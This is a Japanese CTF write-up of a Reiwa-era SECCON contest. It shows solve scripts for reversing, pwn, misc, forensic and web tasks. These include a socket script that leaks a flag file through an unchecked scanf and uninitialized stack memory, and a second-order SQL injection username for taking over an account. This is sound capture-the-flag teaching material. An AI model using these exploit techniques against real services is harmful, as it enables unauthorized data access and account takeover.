平成30年4月30日23時から令和元年5月1日1時まで2時間のコンテスト……の予定が最初はスコアサーバーにまともに繋がらなかったから令和元年5月2日2時までの3時間のコンテストになった。
2時間(予定)で何をするのかと気になっていた。問題が少ない&簡単なコンテストだった。
個人戦。私は、6問解いて510点9位。
Binary
和暦の流れ
プログラム"reiwa"に隠されたフラグをゲットせよ。
32bit ELFバイナリ。入力された文字列をS
として、S[i]^A[i]=B[i]
が成り立つかをチェックしている。A[i]^B[i]
を求めれば良い。下記のプログラムのesp
は、問題バイナリをgdbで動かして、$esp
をダンプした。Windows Subsystem for Linuxで32bitバイナリが動かなくてつらい。
esp = [
0x14, 0x8a, 0x04, 0x08, 0xa6, 0xd3, 0xff, 0xff,
0x71, 0xea, 0xb1, 0x07, 0x24, 0xd4, 0xff, 0xff,
0xa4, 0xd3, 0xff, 0xff, 0xe0, 0xf3, 0xfc, 0xf7,
0x00, 0x00, 0x00, 0x00, 0x01, 0x09, 0x16, 0x00,
0x00, 0x00, 0x53, 0x48, 0x4f, 0x57, 0x41, 0x00,
0x00, 0x00, 0x10, 0x00, 0x04, 0x10, 0x00, 0x48,
0x45, 0x49, 0x53, 0x45, 0x49, 0x00, 0x68, 0x6f,
0x67, 0x65, 0x68, 0x6f, 0x67, 0x65, 0x68, 0x6f,
0x67, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x0c,
0x74, 0x03, 0x6c, 0x1b, 0x68, 0x11, 0x7e, 0x13,
0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x40, 0xd9, 0xff, 0xf7, 0xc2, 0x00, 0x57, 0x65,
]
print "".join(chr(esp[0x1c+i]^esp[0x22+i]) for i in range(5))
print "".join(chr(esp[0x28+i]^esp[0x2f+i]) for i in range(6))
>py -2 solve.py
RAYWA
HEYSAY
$ ./reiwa
Welcome to New Era! Please answer the name of New Era! RAYWA
Welcome to New Era! Please answer the name of Old Era! HEYSAY
SECCON{M-T-S-H-R}
SECCON{M-T-S-H-R}
令和コード
Restruct by REIWA code
解けなかった。「Matsushita MN10300」とは……。
$ file runme
runme: ELF 32-bit LSB executable, Matsushita MN10300, version 1 (SYSV), statically linked, not stripped
追記。解いた。
./configure --enable-targets=all --enable-64-bit-bfd
でビルドしたbinutilsのobjdumpならばディスアセンブルできる。
:
000014fe <_random_init>:
14fe: fc 81 00 18 mov d0,(1800 <_gp>)
1502: 00 00
1504: de 00 00 retf [],0
00001507 <_get_random_value>:
1507: fc a4 00 18 mov (1800 <_gp>),d0
150b: 00 00
150d: 81 mov d0,d1
150e: f8 c1 0d asl 13,d1
1511: f2 24 xor d1,d0
1513: 81 mov d0,d1
1514: f8 c5 11 lsr 17,d1
1517: f2 24 xor d1,d0
1519: 81 mov d0,d1
151a: f8 c1 0f asl 15,d1
151d: f2 24 xor d1,d0
151f: fc 81 00 18 mov d0,(1800 <_gp>)
1523: 00 00
1525: de 00 00 retf [],0
00001528 <_decode>:
1528: cf 20 movm [a2],(sp)
152a: f8 fe f4 add -12,sp
152d: f1 e2 mov d0,a2
152f: f0 42 movbu (a2),d0
1531: a0 00 cmp 0,d0
1533: c8 24 beq 1557 <.L22>
00001535 <.L24>:
1535: cd d2 ff 00 call 1507 <_get_random_value>,[],0
1539: 00
0000153a <_destruct_code>:
153a: 22 fc add -4,a2
153c: 21 ff add -1,a1
153e: 22 ff add -1,a2
1540: f8 cb 02 asr 2,d3
1543: 20 ff add -1,a0
00001545 <_restruct_code>:
1545: cb nop
1546: cb nop
1547: cb nop
1548: cb nop
1549: cb nop
154a: f0 46 movbu (a2),d1
154c: f2 21 xor d0,d1
154e: f0 56 movbu d1,(a2)
1550: 49 inc a2
1551: f0 42 movbu (a2),d0
1553: a0 00 cmp 0,d0
1555: c9 e0 bne 1535 <.L24>
00001557 <.L22>:
1557: 80 00 mov 0,d0
1559: df 20 10 ret [a2],16
0000155c <_main>:
155c: cf 80 movm [d2],(sp)
155e: f8 fe f4 add -12,sp
1561: fc cc a2 8c mov -1831433054,d0
1565: d6 92
1567: cd 97 ff 00 call 14fe <_random_init>,[],0
156b: 00
156c: fc cc b1 15 mov 5553,d0
1570: 00 00
1572: cd 69 ff 00 call 14db <_puts>,[],0
1576: 00
1577: fc cc 45 15 mov 5445,d0
157b: 00 00
157d: cd 3a ff 00 call 14b7 <_gets>,[],0
1581: 00
1582: fc ce 04 18 mov 6148,d2
1586: 00 00
1588: 88 mov d2,d0
1589: cd 9f ff 00 call 1528 <_decode>,[],0
158d: 00
158e: fc cc c7 15 mov 5575,d0
1592: 00 00
1594: cd 47 ff 00 call 14db <_puts>,[],0
1598: 00
1599: 88 mov d2,d0
159a: cd 41 ff 00 call 14db <_puts>,[],0
159e: 00
159f: fc cc c5 15 mov 5573,d0
15a3: 00 00
15a5: cd 36 ff 00 call 14db <_puts>,[],0
15a9: 00
15aa: 80 00 mov 0,d0
15ac: cd b5 fe 00 call 1461 <_exit>,[],0
15b0: 00
_restruct_code
のnop
の部分にgets
でコードを読みこんで実行するようになっている。問題文に従って、REIWA
を入力すると、
00001545 <_restruct_code>:
1545: 52 inc4 a2
1546: 45 inc a1
1547: 49 inc a2
1548: 57 asl2 d3
1549: 41 inc a0
154a: f0 46 movbu (a2),d1
となる。実行環境が無いのでコードを読むとxorshiftで生成した値をxorする処理。ただし、Wikipediaの実装例と異なり、最後の左シフトが5ではなく15になっている。
r = 0x92d68ca2
def get_random_value():
global r
r ^= r<<13&0xffffffff
r ^= r>>17&0xffffffff
r ^= r<<15&0xffffffff
return r
d = [
0x50, 0x77, 0x1f, 0xd3, 0x1e, 0x1f, 0xfb, 0xb4,
0x20, 0x5e, 0xc5, 0xa5, 0xdc, 0x2e, 0xf7, 0x62,
0xd3, 0xae, 0x16, 0x1e, 0x82, 0x44, 0x09, 0x72,
0xba, 0x39]
for i in range(len(d)):
d[i] ^= get_random_value()&0xff
print "".join(map(chr, d))
SECCON{MachineCodeOfREIWA}
零和アセンブリ
0 solvedだったので、無理だろうと思ってスルー。
Pwnable
和暦
最後のほうで解き方が分かったけれど、間に合わなかった。悔しい。
西暦を和暦に変換してくれるよ
nc wareki-o-reiwa.seccon.jp 36294
$ nc wareki-o-reiwa.seccon.jp 36294
西暦 -> 和暦 変換サービス
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 2
オフセット >> 0
Done!
1: 和暦変換
2: フラグ読み込み
0: 終了
>> 1
西暦 >> 2020
変換しますか?(Yes:1, No:Others) >> 1
変換結果:令和 2 年
1: 和暦変換
2: フラグ読み込み
0: 終了
「フラグ読み込み」ではflag.txt
を指定されたオフセットにfseek
してから、スタックに確保された辺数に読みこむ。「和暦変換」で未初期化変数を読み出すことができれば、それはflag.txt
の一部。
元号のテーブルの範囲外アクセスとか、32bitと64bitの変数の取り違えとかを疑ったけれど、そんなことはなかった。
scanf
の返り値をチェックしていないことが脆弱性。scanf
に数値として解釈できない値を入力すると、引数に指定された変数に値は書き込まれない。ただし、例えばabc
などと入力すると、その入力はそのまま次のscanf
に回されて、「変換しますか?」が失敗してしまう。最初は意図が分からなかった「変換しますか?」はこのためだった。色々と試して、-
に気が付いた。1回目のscanf
は失敗するが、-
は消費するので、2回目のscanf
は普通に入力を受け付ける。
flag.txt
には「天皇陛下のおことば」が載っていてサイズが大きく、30秒で切断されるので、一度では読み込めない。
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("wareki-o-reiwa.seccon.jp", 36294))
def read():
d = ""
while not (len(d)>=3 and d[-3:]==">> "):
d += s.recv(9999)
return d
print read()
ans = ""
for i in range(750,804):
s.send("2\n")
print read()
s.send("%s\n"%(i*8))
print read()
s.send("1\n")
print read()
s.send("-\n")
print read()
s.send("1\n")
t = read()
print t
print i
reiwa = int(t.split(" ")[1])
print reiwa
ans += ("%016x"%(reiwa+2018)).decode("hex")[::-1]
open("flag.txt","wb").write(ans)
??は,幸せなことでした。象徴としての私を受け入れ,支えてくれた国民に,心から感謝します。
明日から始まる新しい令和の時代が,平和で実り多くあることを,皇后と共に心から願い,ここに我が国と世界の人々の安寧と幸せを祈ります。
http://www.kunaicho.go.jp/page/okotoba/detail/46#155
=====
FLAG : SECCON{WAREKI_g035_0n_f0r3v3r}
SECCON{WAREKI_g035_0n_f0r3v3r}
Misc
フラグの例は?
平成最後の最後、令和最初のSECCON CTFにようこそ。 フラグはSECCON{reiwa}です。
SECCON{reiwa}
bREInWAck
元号が変わる。記号も変わる。
令和和和和和和和和和和和和和和和和「令和
和和和和令和和和和令和和和和和和和令和和
和和和和令和和平平平平平成」令和和和。令
和和和和和。成成。。平成成成成。成。令令
和和和和和和和和和和和。令和和。平平平和
和和和。令和和。和和和和。令令和和和和和
和和和和和和和。平平平和和和和和和和和和
和和和和。成成成成成成成成。令成成成成成
成成成。令令。成成成成成。成成成成成成。
令和。平平和和。令令令和和和和和和和和和
和。
Brainfuckの文字を置換したもの。「
と」
は[
と]
。最後にあるから、。
は.
。和
は数が多いので+
。次に多いのが令
で、>
だろうか。それなら、「令和」と「平成」の対応を考えれば、「平」が<
、「成」が-
。そんなにパターン数が多いわけでもないので、何も考えず全組み合わせを試せば良かったかもしれない。
>++++++++++++++++[>+
++++>++++>+++++++>++
++++>++<<<<<-]>+++.>
+++++.--..<----.-.>>
+++++++++++.>++.<<<+
+++.>++.++++.>>+++++
+++++++.<<<+++++++++
++++.--------.>-----
---.>>.-----.------.
>+.<<++.>>>+++++++++
+.
適当なBrainfuckのインタプリタで実行するとフラグが出てくる。
SECCON{bREIn_WAnic!}
零は?
nc zerois-o-reiwa.seccon.jp 23615
$ nc zerois-o-reiwa.seccon.jp 23615
[1/100]
0=53-?
?=53
[2/100]
0=41*?-902
?=
後のほうはこんな感じ。
[32/100]
0=18-26+2*?+2*5-88*12-96+39*61+1-98+41-7*60*77+84-20-43+32*3*85-78+74-66*15+23*16+77-21*61+24686
?=
2桁の整数の積の和差しか出てこない。最後の数字で辻褄を合わせている。最後の数字が?
になることもあるので、2桁の整数を探索するだけではダメ。
右辺の?
を置換してeval
し、0になるか調べた。
from socket import *
from time import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("zerois-o-reiwa.seccon.jp", 23615))
for _ in range(100):
d = ""
while not (len(d)>=2 and d[-2:]=="?="):
d += s.recv(999)
print d
q = d.split("\n")[1][2:]
a = 0
while True:
if eval(q.replace("?", str(a)))==0:
break
a += 1
print a
s.send(str(a)+"\n")
sleep(3)
d = s.recv(999)
print d
>py -2 solve.py
[1/100]
0=?-21
?=
21
[2/100]
0=?-31+13
?=
18
[3/100]
:
[99/100]
0=30+29-45*68+73*86-78*94-87+21+71*78-96-93+44*45-31*8+6+68*46-37+27-87*85-42*66+75*50-37+60*12-81+63+62-16*54+55*48-8-96+18*78+43-45*94+21-57*53*39-61+81*25+39-7*51+59-78-9*70+45-1*92+57*3+79-97+20*50-36-66*45+9+78*95-7*14+51-37*39-0+25+53*65-64-60*90+48*22+44-78+87*41-18-?*0+95-95+5+110907
?=
0
[100/100]
0=60+22-11*48-40+54*95*26-20+74+80-82*4-20+7*90*47-7+2-63+47*89+14*94-68+58*35-45+74-97*77*31-64+69+3-84*52-56*36+10-47*44+38-83+77*13*80-95+66+43-38*41+6*93-43*42-55+55*93-32+86-69*83+43+88-75*49*92-1+49-20*95+39*14+84-65-19*86+45+52-50*55-6+6*82-22+61*71-27+48*34+74*75-11+67*12-22-0*?+20+324433
?=
0
Congratulations!
The flag is SECCON{REIWA_is_not_ZERO_IS}.
SECCON{REIWA_is_not_ZERO_IS}
Forensic
見えないよ!
SECCON{overlay_overlap_overera}
元号発表記者会見ネタ。(Readerではない)Acrobatを持っていれば、「オブジェクトを編集」で動かせば良い。QRコードに「令和」と書かれていて読み込めず、「QRコードの解析は面倒だな……」と思ったけれど、官房長官を動かすと裏に切り抜かれた部分があった。
適当な画像編集ソフトで白い部分を透明にして重ねれば良い。ペイントでもできる(選択→透明の選択)。
SECCON{overlay_overlap_overera}
Web
reiwaVote
「令和」を新元号として選出せよ!
pass: notvirus
「投票する」をクリックすると、ブラウザで投票サイトが開かれる。SQL Injectionを起こすような、ユーザー名で登録し、ログインするとSecond-order SQL injection(?)が起こる。
ここからどうすれば良いのか悩んだ。Web問なのにローカルで動かす問題で、データベースなどブラウザ経由で取れるところにフラグが無い。
メモリをダンプして眺めていると、
UPDATE tblUsers SET Importance=(SELECT COUNT(*) FROM tblUsers) WHERE User='shinzo';
SELECT GengoId, EraE, EraJ, SUM(Importance) AS Votes FROM tblVotes v, tblUsers u, tblEras e WHERE v.UserId=u.Id AND v.GengoId=e.Id GROUP BY GengoId ORDER BY Votes DESC;
というSQL文を見つけた。shinzo
というユーザーは、ユーザー数と同じだけのImportance
を持っているらしい。
shinzo
のId
は1
らしく、
ID: a' UNION SELECT 1 --
Pass: hoge
でユーザーを作成してログインすると、shinzo
になれて、「令和」に投票すると、「令和」がトップになる。
SECCON{e32afd2cf7b98e41cf70fed}